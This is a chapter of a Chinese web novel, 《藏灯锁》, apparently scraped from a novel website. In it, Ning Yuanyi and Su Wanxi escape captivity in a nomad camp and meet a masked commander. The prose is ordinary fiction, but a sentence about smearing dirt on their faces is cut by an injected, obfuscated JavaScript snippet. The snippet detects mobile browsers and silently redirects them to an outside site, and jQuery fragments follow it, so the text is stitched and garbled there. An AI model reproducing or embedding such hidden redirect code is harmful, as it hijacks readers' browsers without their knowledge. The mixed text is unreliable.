7.07
作品:《藏灯锁》 宁愿艺一上马便被蒙住了眼睛,胡人们身上浓重的羊膻味和汗臭味扑面而来,她脚踝被绳索勒得生疼。胡人粗鲁地甩了甩马鞭,马儿们应天嘶鸣奔驰而去。
宁愿艺胃里被搅得似翻江倒海,耳边只有呼啸而过的风声还有马蹄踏沙的声音。身上的绳索越收越紧,伤痕勒出血迹,混着冷汗渗透进衣袖里,又冷又疼。
不知道过了多久,马群的速度渐渐慢了下来,最后变成了行走,仔细听的话还能听到潺潺的流水声。
为首的胡人将宁愿艺和苏绾汐蒙眼的布粗暴地扯了下来,随后扔到了一边。宁愿艺晃了晃发昏的头才看清楚眼前的地方。
这里在靠近着溪边驻扎了好几十个帐篷,统一用的羊毛毡拼接而成,篝火堆随处可见,有的还燃着,有的却已经熄灭,旁边扔着被啃得干干净净的牛羊骨头。有几个赤着肩膀的胡人正坐在帐前磨刀,咿咿呀呀地说着胡语。
再往远处看一点,宁愿艺瞧见了立着的狼牙旗杆,黑旗面上画着狰狞的兽头,迎着风沙猎猎作响。宁愿艺嘴唇有些泛白,心下暗忖,看来她们应该是被带进胡人的大本营里了。
劫持她们的胡人把宁愿艺和苏绾汐从马背上拽了下来,然后用粗粝的绳索将两人一前一后绑住。接着一个提着鞭子的胡人走了过来,他满脸胡茬,眼神凶狠,用鞭子柄抵住宁愿艺的后腰,嘴里吐出一串她们完全听不懂的胡语,边骂着边推搡她们进了最旁边的一个帐篷里。
那帐篷散发着一股霉臭味,里面只有一盏昏黄的灯还有一张铺着破旧兽皮的床。
胡人将她俩丢在里面后给帐篷外的那个小门挂着的铁链上了锁。
“你们两个在里面老实点!”
声线粗犷,竟是中原语。
等到胡人彻底走远后,宁愿艺这才稍微松懈下来,她偏过头去,眸中闪烁着关心:“苏小姐,你没事吧?”
苏绾汐虽说之前几次出游也遇见过危险,但是被胡人绑架还是头一遭,她饱满的额角渗透出汗,想必也是被吓到了。
但是苏绾汐还是故作镇定地摇摇头,她压低了声音问道:“现在好了,我们两个变成一条绳上的蚂蚱了,以我俩的外貌,你卖教坊司我卖青楼……”
“噗。”宁愿艺没想到都这个时候了苏绾汐还能开出这种玩笑,她实在是没忍住笑。
苏绾汐见宁愿艺笑她,一双如葡萄般黝黑的眼眸分外清透,此刻染上了点嗔怒,她不禁开口:“宁公子你笑什么,我说的可是事实。”
“师兄说得对,我果然不适合下山,一出来就准没好事儿。”
看着小姑娘有些懊恼的模样,宁愿艺朝着苏绾汐勾了勾手指,苏绾汐抬眸刚刚好和她对视,她浓密的睫毛在昏黄的灯下打下阴翳,鼻梁高挺,五官精致又分明,眉宇中有着一股不同于其他男子的英气。
苏绾汐有点愣住了,一双透亮的大眼睛眨巴了两下。
宁愿艺却突然凑近,拉进了两人的距离,鼻息间都是少女淡淡的清香,但一开口话语又变得轻飘飘的了。
“苏小姐,你用先前藏在腰后的短刃为我解绑吧。”
声线清淡的话音落在苏绾汐的耳朵里,才让她回过神来:“啊……对。”
说完苏绾汐被绑住的手往内衬口袋摸去,她十分艰难地将那把短刃掏了出来,然后抓在右手牢牢攥住。
宁愿艺背对着苏绾汐,方便她用刀磨开反绑住的绳子。
那粗麻制成的绳索缠绕了一圈又一圈,苏绾汐咬住下唇,只能先让短刃一点点地磨,麻绳被绑得太紧,每磨一下纤维都能感觉到宁愿艺的手腕在跟着颤动。
“宁公子你痛不痛。”苏绾汐迟迟磨不开,语气有点急躁了。
宁愿艺宽慰她道:“没事不用着急,你可以先从一根绳子那里挑开……”
苏绾汐屏住呼吸,手上的动作一刻也不敢停歇,短刃挑破了最后那根纤维,只听见“咔”的一声,最紧的那根绳结一下子松了。
“解开了!”苏绾汐惊喜的声音响起。
宁愿艺解放了双手后感觉整个人都变得轻松,她自由没费多大力气就帮苏绾汐解绑了。
看着女孩被勒得红得发紫的手腕,宁愿艺语气温和,目光里像揉碎了星子一般亮:“等我们逃出去后,我就给你上点伤药。”
“你还会看病?”苏绾汐歪了歪头。
宁愿艺也没想着谦让直接地点了点头,一头高高束起的黑发随之晃动。
“苏姑娘是不是也还会一点武功。”
苏绾汐一听这话,红润的双唇嘟起,有些骄傲地扬起了头:“那是,我可是武林高手。”
随后在对上宁愿艺似笑非笑的目光中,渐渐没了底气,她伸出一根白皙的手指道:“好吧,略懂一点。”
宁愿艺靠近苏绾汐说出了她的想法,苏绾汐听后也是一副若有所思的模样。
……
时间一分一秒地流逝,不知道等待了多久,毡帘被掀起一角,带着沙砾的凉意,一个端着木盒的胡人婢女走了进来。
她约莫十七八岁,脸上涂着古怪的粉红,眉毛又黑又粗,看见蜷在床边的两人眼神中闪过鄙夷。她大步走上前来,将木盒随手丢在地上,粗糙的粥米顿时散落了一些出来,随后她吐出一个生硬的“吃”字便转身准备离开。
就在她转身后,宁愿艺和苏绾汐相互交换了一下眼神。苏绾汐猛地拿起身后的绳子站起来往那胡人婢女的颈项一勒,胡人婢女“呜”的一声后就哽住喉咙再发不出声音。随后宁愿艺捡起地上的木盒子往她脑袋上一瞧,胡人婢女腿一弯便晕倒在地。
没有丝毫犹豫,宁愿艺蹲下身子,指尖灵活地将取了腰间的钥匙,然后将那侍女的羊皮袄,粗布短褂还有长裤扯了下来,动作一气呵成,看得苏绾汐直愣愣待在了原地。
她杏眸微瞪,伸手指了指宁愿艺。谁知宁愿艺却起身一把握住她的手指贴上了自己的胸口处,指尖带着丝丝凉意沁入苏绾汐的心。
宁愿艺没再捏着嗓子,开口竟然温婉如玉碎:“苏小姐,我是一个女人。”
然后她低头将那件羊毛衫扔给苏绾汐,嘴里嘱托道:“快点穿,等会儿人来了。”一边说着她一边脱了月白长袍,自己则穿上那带着浓重油脂味儿的布衣长裤。
她头发高束,有些显眼,于是宁愿艺又把自己的头发解开,快速编了一个麻花辫。事不宜迟,苏绾汐反应过来后也麻利地脱掉外衬。
宁愿艺把胡人婢女拖到一边,用兽皮把她遮掩住,又抓了把地上的沙土往两人的脸上抹了抹,遮掩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111514|179673||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住了苏绾汐原本细腻的肤色。两人此刻都变得灰头土脸的,倒还真的有点像样子。
宁愿艺猫腰看了眼外围,胡人自大狂傲,果然没有在他们帐篷附近安排其他人看守,不远处仅仅有几人靠在篝火旁打盹,俩人看好时机便偷偷溜了出来。
期间她们还撞到一个喝得醉醺醺的胡人,浑身上下都散发着难闻的热气,苏绾汐把他往反方向推开学着胡人婢女的胡诌了几句,竟也蒙混过关了。趁着还没有被人发现,她们快步钻进旁边的密林里,跌跌撞撞地向前跑去。
林子里黑得很快,树影重重叠叠宛如鬼魅,风穿过树木发出阵阵类似呜咽的声音,夜空的星子被遮挡住只能透出微弱的光亮。
宁愿艺和苏绾汐快步走在林边,看不清眼前的路,许是碎石太多,突然苏绾汐脚下一滑摔在坡上,宁愿艺见状一把拉住她的手。
两人一同滑下了山坡,手肘和膝盖都被坡上的树枝石头磕碰着流出了血。
“斯——”苏绾汐抬起被划出长长血痕的手臂,痛得倒吸一口凉气,她伸手想要碰一下,被宁愿艺伸手按下。
她声音沉静:“不要用手去碰,容易引起感染。”
于是苏绾汐只好乖乖放下手忍受着疼痛。后来她脑子里像是突然闪过什么似的,她皱了皱眉,语气里带着不满道:“你为什么瞒我那么久!不早点告诉我你是个女人。”
看着苏绾汐气鼓鼓的样子,宁愿艺眼中烟波浩渺,她伸手,纤细的手指捏了捏那张脸,轻笑着开口道:“就是想逗逗你,看看你的反应。”
“你!”苏绾汐感到无语,不过看在她俩同生共死过一次也没再计较,只是低头嘀咕了几句“亏我当时还觉得你很好看呢……”
接着俩人沉默了一会儿后,忽然听见远处传来隐约的马蹄声和车轴转动的声音。
这个时间点还有人在,不知道是好事还是坏事。
借着树隙的月光看去,只见林道尽头驶来一队车马,有几辆马车被数十名骑士簇拥,那马车一辆辆工艺皆是不凡,其中第一辆马车乌木的车厢上还雕着流云花纹,盖着红色的繁复车帘,重重碾过地面时,四间风铃发出声响。
那些骑士皆穿着黑色骑装,腰间佩戴长剑,马鞍上装着羽箭,一看就是经过专门培训的军队,完全是那些胡人比不了的。
而为首的那人更是器宇不凡,骑着一匹矫健的骏马,银质面具遮住他上半张脸,只露出线条分明的下颚线,月光下他紧抿的薄唇泛着冷白。
“应该是中原的军队。”苏绾汐小声地对宁愿艺说。
来者应当非恶。
宁愿艺捡起树边的一个石头块朝着路中间砸去。
“咚”的一声果然引起了车队的注意。
裴千里身边的侍卫重鱼首先警觉地呵斥道:“谁在那里,还不快点出来!”
闻声后,宁愿艺面不改色地拉住苏绾汐的手,然后从树林中小心地走了出来。
借着月光,裴千里看到了可以说有点邋遢的两人,他微微挑眉,声音清冽却又居高临下:“胡人?”
他坐在马上,穿着一身修身的黑色劲装,身姿挺拔,周身都裹着锋芒。宁愿艺抬头望向他,裴千里一双幽深的眼却静得吓人。
她答道:“不是。”

